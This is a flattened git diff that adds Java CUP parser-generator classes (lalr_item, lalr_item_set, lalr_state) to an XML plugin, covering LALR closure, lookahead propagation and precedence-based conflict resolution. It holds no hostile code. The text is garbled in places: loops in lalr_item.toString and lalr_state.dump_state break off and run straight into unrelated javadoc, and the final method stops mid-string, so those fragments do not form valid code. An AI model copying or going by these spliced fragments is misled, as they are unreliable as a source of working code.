    + * + * Items may initially be missing some items from their lookahead sets. + * Links are maintained from each item to the set of items that would need + * to be updated if symbols are added to its lookahead set. During + * "lookahead propagation", we add symbols to various lookahead sets and + * propagate these changes across these dependency links as needed. + * + * @see java_cup.lalr_item_set + * @see java_cup.lalr_state + * @version last updated: 11/25/95 + * @author Scott Hudson + */ +public class lalr_item extends lr_item_core { + + /*-----------------------------------------------------------*/ + /*--- Constructor(s) ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Full constructor. + * @param prod the production for the item. + * @param pos the position of the "dot" within the production. + * @param look the set of lookahead symbols. + */ + public lalr_item(production prod, int pos, terminal_set look) + throws internal_error + { + super(prod, pos); + _lookahead = look; + _propagate_items = new Stack(); + needs_propagation = true; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Constructor with default position (dot at start). + * @param prod the production for the item. + * @param look the set of lookahead symbols. + */ + public lalr_item(production prod, terminal_set look) throws internal_error + { + this(prod,0,look); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Constructor with default position and empty lookahead set. + * @param prod the production for the item. + */ + public lalr_item(production prod) throws internal_error + { + this(prod,0,new terminal_set()); + } + + /*-----------------------------------------------------------*/ + /*--- (Access to) Instance Variables ------------------------*/ + /*-----------------------------------------------------------*/ + + /** The lookahead symbols of the item. */ + protected terminal_set _lookahead; + + /** The lookahead symbols of the item. */ + public terminal_set lookahead() {return _lookahead;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Links to items that the lookahead needs to be propagated to. */ + protected Stack _propagate_items; + + /** Links to items that the lookahead needs to be propagated to */ + public Stack propagate_items() {return _propagate_items;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Flag to indicate that this item needs to propagate its lookahead + * (whether it has changed or not). + */ + protected boolean needs_propagation; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Add a new item to the set of items we propagate to. */ + public void add_propagate(lalr_item prop_to) + { + _propagate_items.push(prop_to); + needs_propagation = true; + } + + /*-----------------------------------------------------------*/ + /*--- General Methods ---------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Propagate incoming lookaheads through this item to others need to + * be changed. + * @params incoming symbols to potentially be added to lookahead of this item. + */ + public void propagate_lookaheads(terminal_set incoming) throws internal_error + { + boolean change = false; + + /* if we don't need to propagate, then bail out now */ + if (!needs_propagation && (incoming == null || incoming.empty())) + return; + + /* if we have null incoming, treat as an empty set */ + if (incoming != null) + { + /* add the incoming to the lookahead of this item */ + change = lookahead().add(incoming); + } + + /* if we changed or need it anyway, propagate across our links */ + if (change || needs_propagation) + { + /* don't need to propagate again */ + needs_propagation = false; + + /* propagate our lookahead into each item we are linked to */ + for (int i = 0; i < propagate_items().size(); i++) + ((lalr_item)propagate_items().elementAt(i)) + .propagate_lookaheads(lookahead()); + } + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Produce the new lalr_item that results from shifting the dot one position + * to the right. + */ + public lalr_item shift() throws internal_error + { + lalr_item result; + + /* can't shift if we have dot already at the end */ + if (dot_at_end()) + throw new internal_error("Attempt to shift past end of an lalr_item"); + + /* create the new item w/ the dot shifted by one */ + result = new lalr_item(the_production(), dot_pos()+1, + new terminal_set(lookahead())); + + /* change in our lookahead needs to be propagated to this item */ + add_propagate(result); + + return result; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Calculate lookahead representing symbols that could appear after the + * symbol that the dot is currently in front of. Note: this routine must + * not be invoked before first sets and nullability has been calculated + * for all non terminals. + */ + public terminal_set calc_lookahead(terminal_set lookahead_after) + throws internal_error + { + terminal_set result; + int pos; + production_part part; + symbol sym; + + /* sanity check */ + if (dot_at_end()) + throw new internal_error( + "Attempt to calculate a lookahead set with a completed item"); + + /* start with an empty result */ + result = new terminal_set(); + + /* consider all nullable symbols after the one to the right of the dot */ + for (pos = dot_pos()+1; pos < the_production().rhs_length(); pos++) + { + part = the_production().rhs(pos); + + /* consider what kind of production part it is -- skip actions */ + if (!part.is_action()) + { + sym = ((symbol_part)part).the_symbol(); + + /* if its a terminal add it in and we are done */ + if (!sym.is_non_term()) + { + result.add((terminal)sym); + return result; + } + else + { + /* otherwise add in first set of the non terminal */ + result.add(((non_terminal)sym).first_set()); + + /* if its nullable we continue adding, if not, we are done */ + if (!((non_terminal)sym).nullable()) + return result; + } + } + } + + /* if we get here everything past the dot was nullable + we add in the lookahead for after the production and we are done */ + result.add(lookahead_after); + return result; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Determine if everything from the symbol one beyond the dot all the + * way to the end of the right hand side is nullable. This would indicate + * that the lookahead of this item must be included in the lookaheads of + * all items produced as a closure of this item. Note: this routine should + * not be invoked until after first sets and nullability have been + * calculated for all non terminals. + */ + public boolean lookahead_visible() throws internal_error + { + production_part part; + symbol sym; + + /* if the dot is at the end, we have a problem, but the cleanest thing + to do is just return true. */ + if (dot_at_end()) return true; + + /* walk down the rhs and bail if we get a non-nullable symbol */ + for (int pos = dot_pos() + 1; pos < the_production().rhs_length(); pos++) + { + part = the_production().rhs(pos); + + /* skip actions */ + if (!part.is_action()) + { + sym = ((symbol_part)part).the_symbol(); + + /* if its a terminal we fail */ + if (!sym.is_non_term()) return false; + + /* if its not nullable we fail */ + if (!((non_terminal)sym).nullable()) return false; + } + } + + /* if we get here its all nullable */ + return true; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Equality comparison -- here we only require the cores to be equal since + * we need to do sets of items based only on core equality (ignoring + * lookahead sets). + */ + public boolean equals(lalr_item other) + { + if (other == null) return false; + return super.equals(other); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Generic equality comparison. */ + public boolean equals(Object other) + { + if (!(other instanceof lalr_item)) + return false; + else + return equals((lalr_item)other); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Return a hash code -- here we only hash the core since we only test core + * matching in LALR items. + */ + public int hashCode() + { + return super.hashCode(); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Convert to string. */ + public String toString() + { + String result = ""; + + // additional output for debugging: + // result += "(" + obj_hash() + ")"; + result += "["; + result += super.toString(); + result += ", "; + if (lookahead() != null) + { + result += "{"; + for (int t = 0; t < terminal.number(); t++) + if (lookahead().contains(t)) + result += terminal.find(t).name() + " "; + result += "}"; + } + else + result += "NULL LOOKAHEAD!!"; + result += "]"; + + // additional output for debugging: + // result += " -> "; + // for (int i = 0; i + * + * This class provides fairly conventional set oriented operations (union, + * sub/super-set tests, etc.), as well as an LALR "closure" operation (see + * compute_closure()). + * + * @see java_cup.lalr_item + * @see java_cup.lalr_state + * @version last updated: 3/6/96 + * @author Scott Hudson + */ + +public class lalr_item_set { + + /*-----------------------------------------------------------*/ + /*--- Constructor(s) ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Constructor for an empty set. */ + public lalr_item_set() { } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Constructor for cloning from another set. + * @param other indicates set we should copy from. + */ + public lalr_item_set(lalr_item_set other) + throws internal_error + { + not_null(other); + _all = (Hashtable)other._all.clone(); + } + + /*-----------------------------------------------------------*/ + /*--- (Access to) Instance Variables ------------------------*/ + /*-----------------------------------------------------------*/ + + /** A hash table to implement the set. We store the items using themselves + * as keys. + */ + protected Hashtable _all = new Hashtable(11); + + /** Access to all elements of the set. */ + public Enumeration all() {return _all.elements();} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Cached hashcode for this set. */ + protected Integer hashcode_cache = null; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Size of the set */ + public int size() {return _all.size();} + + /*-----------------------------------------------------------*/ + /*--- Set Operation Methods ---------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Does the set contain a particular item? + * @param itm the item in question. + */ + public boolean contains(lalr_item itm) {return _all.containsKey(itm);} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Return the item in the set matching a particular item (or null if not + * found) + * @param itm the item we are looking for. + */ + public lalr_item find(lalr_item itm) {return (lalr_item)_all.get(itm);} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Is this set an (improper) subset of another? + * @param other the other set in question. + */ + public boolean is_subset_of(lalr_item_set other) throws internal_error + { + not_null(other); + + /* walk down our set and make sure every element is in the other */ + for (Enumeration e = all(); e.hasMoreElements(); ) + if (!other.contains((lalr_item)e.nextElement())) + return false; + + /* they were all there */ + return true; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Is this set an (improper) superset of another? + * @param other the other set in question. + */ + public boolean is_superset_of(lalr_item_set other) throws internal_error + { + not_null(other); + return other.is_subset_of(this); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Add a singleton item, merging lookahead sets if the item is already + * part of the set. returns the element of the set that was added or + * merged into. + * @param itm the item being added. + */ + public lalr_item add(lalr_item itm) throws internal_error + { + lalr_item other; + + not_null(itm); + + /* see if an item with a matching core is already there */ + other = (lalr_item)_all.get(itm); + + /* if so, merge this lookahead into the original and leave it */ + if (other != null) + { + other.lookahead().add(itm.lookahead()); + return other; + } + /* otherwise we just go in the set */ + else + { + /* invalidate cached hashcode */ + hashcode_cache = null; + + _all.put(itm,itm); + return itm; + } + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Remove a single item if it is in the set. + * @param itm the item to remove. + */ + public void remove(lalr_item itm) throws internal_error + { + not_null(itm); + + /* invalidate cached hashcode */ + hashcode_cache = null; + + /* remove it from hash table implementing set */ + _all.remove(itm); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Add a complete set, merging lookaheads where items are already in + * the set + * @param other the set to be added. + */ + public void add(lalr_item_set other) throws internal_error + { + not_null(other); + + /* walk down the other set and do the adds individually */ + for (Enumeration e = other.all(); e.hasMoreElements(); ) + add((lalr_item)e.nextElement()); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Remove (set subtract) a complete set. + * @param other the set to remove. + */ + public void remove(lalr_item_set other) throws internal_error + { + not_null(other); + + /* walk down the other set and do the removes individually */ + for (Enumeration e = other.all(); e.hasMoreElements(); ) + remove((lalr_item)e.nextElement()); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Remove and return one item from the set (done in hash order). */ + public lalr_item get_one() throws internal_error + { + Enumeration the_set; + lalr_item result; + + the_set = all(); + if (the_set.hasMoreElements()) + { + result = (lalr_item)the_set.nextElement(); + remove(result); + return result; + } + else + return null; + } + + /*-----------------------------------------------------------*/ + /*--- General Methods ---------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Helper function for null test. Throws an interal_error exception if its + * parameter is null. + * @param obj the object we are testing. + */ + protected void not_null(Object obj) throws internal_error + { + if (obj == null) + throw new internal_error("Null object used in set operation"); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Compute the closure of the set using the LALR closure rules. Basically + * for every item of the form:

    +   *    [L ::= a *N alpha, l] 
    +   *  
    + * (where N is a a non terminal and alpha is a string of symbols) make + * sure there are also items of the form:
    +   *    [N ::= *beta, first(alpha l)] 
    +   *  
    + * corresponding to each production of N. Items with identical cores but + * differing lookahead sets are merged by creating a new item with the same + * core and the union of the lookahead sets (the LA in LALR stands for + * "lookahead merged" and this is where the merger is). This routine + * assumes that nullability and first sets have been computed for all + * productions before it is called. + */ + public void compute_closure() + throws internal_error + { + lalr_item_set consider; + lalr_item itm, new_itm, add_itm; + non_terminal nt; + terminal_set new_lookaheads; + Enumeration p; + production prod; + boolean need_prop; + + + + /* invalidate cached hashcode */ + hashcode_cache = null; + + /* each current element needs to be considered */ + consider = new lalr_item_set(this); + + /* repeat this until there is nothing else to consider */ + while (consider.size() > 0) + { + /* get one item to consider */ + itm = consider.get_one(); + + /* do we have a dot before a non terminal */ + nt = itm.dot_before_nt(); + if (nt != null) + { + /* create the lookahead set based on first after dot */ + new_lookaheads = itm.calc_lookahead(itm.lookahead()); + + /* are we going to need to propagate our lookahead to new item */ + need_prop = itm.lookahead_visible(); + + /* create items for each production of that non term */ + for (p = nt.productions(); p.hasMoreElements(); ) + { + prod = (production)p.nextElement(); + + /* create new item with dot at start and that lookahead */ + new_itm = new lalr_item(prod, + new terminal_set(new_lookaheads)); + + /* add/merge item into the set */ + add_itm = add(new_itm); + /* if propagation is needed link to that item */ + if (need_prop) + itm.add_propagate(add_itm); + + /* was this was a new item*/ + if (add_itm == new_itm) + { + /* that may need further closure, consider it also */ + consider.add(new_itm); + } + } + } + } + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Equality comparison. */ + public boolean equals(lalr_item_set other) + { + if (other == null || other.size() != size()) return false; + + /* once we know they are the same size, then improper subset does test */ + try { + return is_subset_of(other); + } catch (internal_error e) { + /* can't throw error from here (because superclass doesn't) so crash */ + e.crash(); + return false; + } + + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Generic equality comparison. */ + public boolean equals(Object other) + { + if (!(other instanceof lalr_item_set)) + return false; + else + return equals((lalr_item_set)other); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Return hash code. */ + public int hashCode() + { + int result = 0; + Enumeration e; + int cnt; + + /* only compute a new one if we don't have it cached */ + if (hashcode_cache == null) + { + /* hash together codes from at most first 5 elements */ + // CSA fix! we'd *like* to hash just a few elements, but + // that means equal sets will have inequal hashcodes, which + // we're not allowed (by contract) to do. So hash them all. + for (e = all(), cnt=0 ; e.hasMoreElements() /*&& cnt<5*/; cnt++) + result ^= ((lalr_item)e.nextElement()).hashCode(); + + hashcode_cache = new Integer(result); + } + + return hashcode_cache.intValue(); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Convert to string. */ + public String toString() + { + StringBuffer result = new StringBuffer(); + + result.append("{\n"); + for (Enumeration e=all(); e.hasMoreElements(); ) + { + result.append(" " + (lalr_item)e.nextElement() + "\n"); + } + result.append("}"); + + return result.toString(); + } + /*-----------------------------------------------------------*/ +} + diff --git a/base_plugins/net.heartsome.xml/src/java_cup/lalr_state.java b/base_plugins/net.heartsome.xml/src/java_cup/lalr_state.java new file mode 100644 index 0000000..a0dfca9 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/lalr_state.java @@ -0,0 +1,884 @@ + +package java_cup; + +import java.util.Hashtable; +import java.util.Enumeration; +import java.util.Stack; + +/** This class represents a state in the LALR viable prefix recognition machine. + * A state consists of an LALR item set and a set of transitions to other + * states under terminal and non-terminal symbols. Each state represents + * a potential configuration of the parser. If the item set of a state + * includes an item such as:
    + *    [A ::= B * C d E , {a,b,c}]
    + *  
    + * this indicates that when the parser is in this state it is currently + * looking for an A of the given form, has already seen the B, and would + * expect to see an a, b, or c after this sequence is complete. Note that + * the parser is normally looking for several things at once (represented + * by several items). In our example above, the state would also include + * items such as:
    + *    [C ::= * X e Z, {d}]
    + *    [X ::= * f, {e}]
    + *  
    + * to indicate that it was currently looking for a C followed by a d (which + * would be reduced into a C, matching the first symbol in our production + * above), and the terminal f followed by e.

    + * + * At runtime, the parser uses a viable prefix recognition machine made up + * of these states to parse. The parser has two operations, shift and reduce. + * In a shift, it consumes one Symbol and makes a transition to a new state. + * This corresponds to "moving the dot past" a terminal in one or more items + * in the state (these new shifted items will then be found in the state at + * the end of the transition). For a reduce operation, the parser is + * signifying that it is recognizing the RHS of some production. To do this + * it first "backs up" by popping a stack of previously saved states. It + * pops off the same number of states as are found in the RHS of the + * production. This leaves the machine in the same state is was in when the + * parser first attempted to find the RHS. From this state it makes a + * transition based on the non-terminal on the LHS of the production. This + * corresponds to placing the parse in a configuration equivalent to having + * replaced all the symbols from the the input corresponding to the RHS with + * the symbol on the LHS. + * + * @see java_cup.lalr_item + * @see java_cup.lalr_item_set + * @see java_cup.lalr_transition + * @version last updated: 7/3/96 + * @author Frank Flannery + * + */ + +public class lalr_state { + /*-----------------------------------------------------------*/ + /*--- Constructor(s) ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Constructor for building a state from a set of items. + * @param itms the set of items that makes up this state. + */ + public lalr_state(lalr_item_set itms) throws internal_error + { + /* don't allow null or duplicate item sets */ + if (itms == null) + throw new internal_error( + "Attempt to construct an LALR state from a null item set"); + + if (find_state(itms) != null) + throw new internal_error( + "Attempt to construct a duplicate LALR state"); + + /* assign a unique index */ + _index = next_index++; + + /* store the items */ + _items = itms; + + /* add to the global collection, keyed with its item set */ + _all.put(_items,this); + } + + /*-----------------------------------------------------------*/ + /*--- (Access to) Static (Class) Variables ------------------*/ + /*-----------------------------------------------------------*/ + + /** Collection of all states. */ + protected static Hashtable _all = new Hashtable(); + + /** Collection of all states. */ + public static Enumeration all() {return _all.elements();} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Indicate total number of states there are. */ + public static int number() {return _all.size();} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Hash table to find states by their kernels (i.e, the original, + * unclosed, set of items -- which uniquely define the state). This table + * stores state objects using (a copy of) their kernel item sets as keys. + */ + protected static Hashtable _all_kernels = new Hashtable(); + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Find and return state with a given a kernel item set (or null if not + * found). The kernel item set is the subset of items that were used to + * originally create the state. These items are formed by "shifting the + * dot" within items of other states that have a transition to this one. + * The remaining elements of this state's item set are added during closure. + * @param itms the kernel set of the state we are looking for. + */ + public static lalr_state find_state(lalr_item_set itms) + { + if (itms == null) + return null; + else + return (lalr_state)_all.get(itms); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Static counter for assigning unique state indexes. */ + protected static int next_index = 0; + + /*-----------------------------------------------------------*/ + /*--- (Access to) Instance Variables ------------------------*/ + /*-----------------------------------------------------------*/ + + /** The item set for this state. */ + protected lalr_item_set _items; + + /** The item set for this state. */ + public lalr_item_set items() {return _items;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** List of transitions out of this state. */ + protected lalr_transition _transitions = null; + + /** List of transitions out of this state. */ + public lalr_transition transitions() {return _transitions;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Index of this state in the parse tables */ + protected int _index; + + /** Index of this state in the parse tables */ + public int index() {return _index;} + + /*-----------------------------------------------------------*/ + /*--- Static Methods ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Helper routine for debugging -- produces a dump of the given state + * onto System.out. + */ + protected static void dump_state(lalr_state st) throws internal_error + { + lalr_item_set itms; + lalr_item itm; + production_part part; + + if (st == null) + { + System.out.println("NULL lalr_state"); + return; + } + + System.out.println("lalr_state [" + st.index() + "] {"); + itms = st.items(); + for (Enumeration e = itms.all(); e.hasMoreElements(); ) + { + itm = (lalr_item)e.nextElement(); + System.out.print(" ["); + System.out.print(itm.the_production().lhs().the_symbol().name()); + System.out.print(" ::= "); + for (int i = 0; i + * [A ::= a b * X c, {d,e}] + * [B ::= a b * X d, {a,b}] + * + * in some state, then we would be making a transition under X to a new + * state. This new state would be formed by a "kernel" of items + * corresponding to moving the dot past the X. In this case:

    +   *    [A ::= a b X * c, {d,e}]
    +   *    [B ::= a b X * Y, {a,b}]
    +   *  
    + * The full state would then be formed by "closing" this kernel set of + * items so that it included items that represented productions of things + * the parser was now looking for. In this case we would items + * corresponding to productions of Y, since various forms of Y are expected + * next when in this state (see lalr_item_set.compute_closure() for details + * on closure).

    + * + * The process of building the viable prefix recognizer terminates when no + * new states can be added. However, in order to build a smaller number of + * states (i.e., corresponding to LALR rather than canonical LR) the state + * building process does not maintain full loookaheads in all items. + * Consequently, after the machine is built, we go back and propagate + * lookaheads through the constructed machine using a call to + * propagate_all_lookaheads(). This makes use of propagation links + * constructed during the closure and transition process. + * + * @param start_prod the start production of the grammar + * @see java_cup.lalr_item_set#compute_closure + * @see java_cup.lalr_state#propagate_all_lookaheads + */ + + public static lalr_state build_machine(production start_prod) + throws internal_error + { + lalr_state start_state; + lalr_item_set start_items; + lalr_item_set new_items; + lalr_item_set linked_items; + lalr_item_set kernel; + Stack work_stack = new Stack(); + lalr_state st, new_st; + symbol_set outgoing; + lalr_item itm, new_itm, existing, fix_itm; + symbol sym, sym2; + Enumeration i, s, fix; + + /* sanity check */ + if (start_prod == null) + throw new internal_error( + "Attempt to build viable prefix recognizer using a null production"); + + /* build item with dot at front of start production and EOF lookahead */ + start_items = new lalr_item_set(); + + itm = new lalr_item(start_prod); + itm.lookahead().add(terminal.EOF); + + start_items.add(itm); + + /* create copy the item set to form the kernel */ + kernel = new lalr_item_set(start_items); + + /* create the closure from that item set */ + start_items.compute_closure(); + + /* build a state out of that item set and put it in our work set */ + start_state = new lalr_state(start_items); + work_stack.push(start_state); + + /* enter the state using the kernel as the key */ + _all_kernels.put(kernel, start_state); + + /* continue looking at new states until we have no more work to do */ + while (!work_stack.empty()) + { + /* remove a state from the work set */ + st = (lalr_state)work_stack.pop(); + + /* gather up all the symbols that appear before dots */ + outgoing = new symbol_set(); + for (i = st.items().all(); i.hasMoreElements(); ) + { + itm = (lalr_item)i.nextElement(); + + /* add the symbol before the dot (if any) to our collection */ + sym = itm.symbol_after_dot(); + if (sym != null) outgoing.add(sym); + } + + /* now create a transition out for each individual symbol */ + for (s = outgoing.all(); s.hasMoreElements(); ) + { + sym = (symbol)s.nextElement(); + + /* will be keeping the set of items with propagate links */ + linked_items = new lalr_item_set(); + + /* gather up shifted versions of all the items that have this + symbol before the dot */ + new_items = new lalr_item_set(); + for (i = st.items().all(); i.hasMoreElements();) + { + itm = (lalr_item)i.nextElement(); + + /* if this is the symbol we are working on now, add to set */ + sym2 = itm.symbol_after_dot(); + if (sym.equals(sym2)) + { + /* add to the kernel of the new state */ + new_items.add(itm.shift()); + + /* remember that itm has propagate link to it */ + linked_items.add(itm); + } + } + + /* use new items as state kernel */ + kernel = new lalr_item_set(new_items); + + /* have we seen this one already? */ + new_st = (lalr_state)_all_kernels.get(kernel); + + /* if we haven't, build a new state out of the item set */ + if (new_st == null) + { + /* compute closure of the kernel for the full item set */ + new_items.compute_closure(); + + /* build the new state */ + new_st = new lalr_state(new_items); + + /* add the new state to our work set */ + work_stack.push(new_st); + + /* put it in our kernel table */ + _all_kernels.put(kernel, new_st); + } + /* otherwise relink propagation to items in existing state */ + else + { + /* walk through the items that have links to the new state */ + for (fix = linked_items.all(); fix.hasMoreElements(); ) + { + fix_itm = (lalr_item)fix.nextElement(); + + /* look at each propagate link out of that item */ + for (int l =0; l < fix_itm.propagate_items().size(); l++) + { + /* pull out item linked to in the new state */ + new_itm = + (lalr_item)fix_itm.propagate_items().elementAt(l); + + /* find corresponding item in the existing state */ + existing = new_st.items().find(new_itm); + + /* fix up the item so it points to the existing set */ + if (existing != null) + fix_itm.propagate_items().setElementAt(existing ,l); + } + } + } + + /* add a transition from current state to that state */ + st.add_transition(sym, new_st); + } + } + + /* all done building states */ + + /* propagate complete lookahead sets throughout the states */ + propagate_all_lookaheads(); + + return start_state; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Propagate lookahead sets out of this state. This recursively + * propagates to all items that have propagation links from some item + * in this state. + */ + protected void propagate_lookaheads() throws internal_error + { + /* recursively propagate out from each item in the state */ + for (Enumeration itm = items().all(); itm.hasMoreElements(); ) + ((lalr_item)itm.nextElement()).propagate_lookaheads(null); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Fill in the parse table entries for this state. There are two + * parse tables that encode the viable prefix recognition machine, an + * action table and a reduce-goto table. The rows in each table + * correspond to states of the machine. The columns of the action table + * are indexed by terminal symbols and correspond to either transitions + * out of the state (shift entries) or reductions from the state to some + * previous state saved on the stack (reduce entries). All entries in the + * action table that are not shifts or reduces, represent errors. The + * reduce-goto table is indexed by non terminals and represents transitions + * out of a state on that non-terminal.

    + * Conflicts occur if more than one action needs to go in one entry of the + * action table (this cannot happen with the reduce-goto table). Conflicts + * are resolved by always shifting for shift/reduce conflicts and choosing + * the lowest numbered production (hence the one that appeared first in + * the specification) in reduce/reduce conflicts. All conflicts are + * reported and if more conflicts are detected than were declared by the + * user, code generation is aborted. + * + * @param act_table the action table to put entries in. + * @param reduce_table the reduce-goto table to put entries in. + */ + public void build_table_entries( + parse_action_table act_table, + parse_reduce_table reduce_table) + throws internal_error + { + parse_action_row our_act_row; + parse_reduce_row our_red_row; + lalr_item itm; + parse_action act, other_act; + symbol sym; + terminal_set conflict_set = new terminal_set(); + + /* pull out our rows from the tables */ + our_act_row = act_table.under_state[index()]; + our_red_row = reduce_table.under_state[index()]; + + /* consider each item in our state */ + for (Enumeration i = items().all(); i.hasMoreElements(); ) + { + itm = (lalr_item)i.nextElement(); + + + /* if its completed (dot at end) then reduce under the lookahead */ + if (itm.dot_at_end()) + { + act = new reduce_action(itm.the_production()); + + /* consider each lookahead symbol */ + for (int t = 0; t < terminal.number(); t++) + { + /* skip over the ones not in the lookahead */ + if (!itm.lookahead().contains(t)) continue; + + /* if we don't already have an action put this one in */ + if (our_act_row.under_term[t].kind() == + parse_action.ERROR) + { + our_act_row.under_term[t] = act; + } + else + { + /* we now have at least one conflict */ + terminal term = terminal.find(t); + other_act = our_act_row.under_term[t]; + + /* if the other act was not a shift */ + if ((other_act.kind() != parse_action.SHIFT) && + (other_act.kind() != parse_action.NONASSOC)) + { + /* if we have lower index hence priority, replace it*/ + if (itm.the_production().index() < + ((reduce_action)other_act).reduce_with().index()) + { + /* replace the action */ + our_act_row.under_term[t] = act; + } + } else { + /* Check precedences,see if problem is correctable */ + if(fix_with_precedence(itm.the_production(), + t, our_act_row, act)) { + term = null; + } + } + if(term!=null) { + + conflict_set.add(term); + } + } + } + } + } + + /* consider each outgoing transition */ + for (lalr_transition trans=transitions(); trans!=null; trans=trans.next()) + { + /* if its on an terminal add a shift entry */ + sym = trans.on_symbol(); + if (!sym.is_non_term()) + { + act = new shift_action(trans.to_state()); + + /* if we don't already have an action put this one in */ + if ( our_act_row.under_term[sym.index()].kind() == + parse_action.ERROR) + { + our_act_row.under_term[sym.index()] = act; + } + else + { + /* we now have at least one conflict */ + production p = ((reduce_action)our_act_row.under_term[sym.index()]).reduce_with(); + + /* shift always wins */ + if (!fix_with_precedence(p, sym.index(), our_act_row, act)) { + our_act_row.under_term[sym.index()] = act; + conflict_set.add(terminal.find(sym.index())); + } + } + } + else + { + /* for non terminals add an entry to the reduce-goto table */ + our_red_row.under_non_term[sym.index()] = trans.to_state(); + } + } + + /* if we end up with conflict(s), report them */ + if (!conflict_set.empty()) + report_conflicts(conflict_set); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + + /** Procedure that attempts to fix a shift/reduce error by using + * precedences. --frankf 6/26/96 + * + * if a production (also called rule) or the lookahead terminal + * has a precedence, then the table can be fixed. if the rule + * has greater precedence than the terminal, a reduce by that rule + * in inserted in the table. If the terminal has a higher precedence, + * it is shifted. if they have equal precedence, then the associativity + * of the precedence is used to determine what to put in the table: + * if the precedence is left associative, the action is to reduce. + * if the precedence is right associative, the action is to shift. + * if the precedence is non associative, then it is a syntax error. + * + * @param p the production + * @param term_index the index of the lokahead terminal + * @param parse_action_row a row of the action table + * @param act the rule in conflict with the table entry + */ + + protected boolean fix_with_precedence( + production p, + int term_index, + parse_action_row table_row, + parse_action act) + + throws internal_error { + + terminal term = terminal.find(term_index); + + /* if the production has a precedence number, it can be fixed */ + if (p.precedence_num() > assoc.no_prec) { + + /* if production precedes terminal, put reduce in table */ + if (p.precedence_num() > term.precedence_num()) { + table_row.under_term[term_index] = + insert_reduce(table_row.under_term[term_index],act); + return true; + } + + /* if terminal precedes rule, put shift in table */ + else if (p.precedence_num() < term.precedence_num()) { + table_row.under_term[term_index] = + insert_shift(table_row.under_term[term_index],act); + return true; + } + else { /* they are == precedence */ + + /* equal precedences have equal sides, so only need to + look at one: if it is right, put shift in table */ + if (term.precedence_side() == assoc.right) { + table_row.under_term[term_index] = + insert_shift(table_row.under_term[term_index],act); + return true; + } + + /* if it is left, put reduce in table */ + else if (term.precedence_side() == assoc.left) { + table_row.under_term[term_index] = + insert_reduce(table_row.under_term[term_index],act); + return true; + } + + /* if it is nonassoc, we're not allowed to have two nonassocs + of equal precedence in a row, so put in NONASSOC */ + else if (term.precedence_side() == assoc.nonassoc) { + table_row.under_term[term_index] = new nonassoc_action(); + return true; + } else { + /* something really went wrong */ + throw new internal_error("Unable to resolve conflict correctly"); + } + } + } + /* check if terminal has precedence, if so, shift, since + rule does not have precedence */ + else if (term.precedence_num() > assoc.no_prec) { + table_row.under_term[term_index] = + insert_shift(table_row.under_term[term_index],act); + return true; + } + + /* otherwise, neither the rule nor the terminal has a precedence, + so it can't be fixed. */ + return false; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + + /* given two actions, and an action type, return the + action of that action type. give an error if they are of + the same action, because that should never have tried + to be fixed + + */ + protected parse_action insert_action( + parse_action a1, + parse_action a2, + int act_type) + throws internal_error + { + if ((a1.kind() == act_type) && (a2.kind() == act_type)) { + throw new internal_error("Conflict resolution of bogus actions"); + } else if (a1.kind() == act_type) { + return a1; + } else if (a2.kind() == act_type) { + return a2; + } else { + throw new internal_error("Conflict resolution of bogus 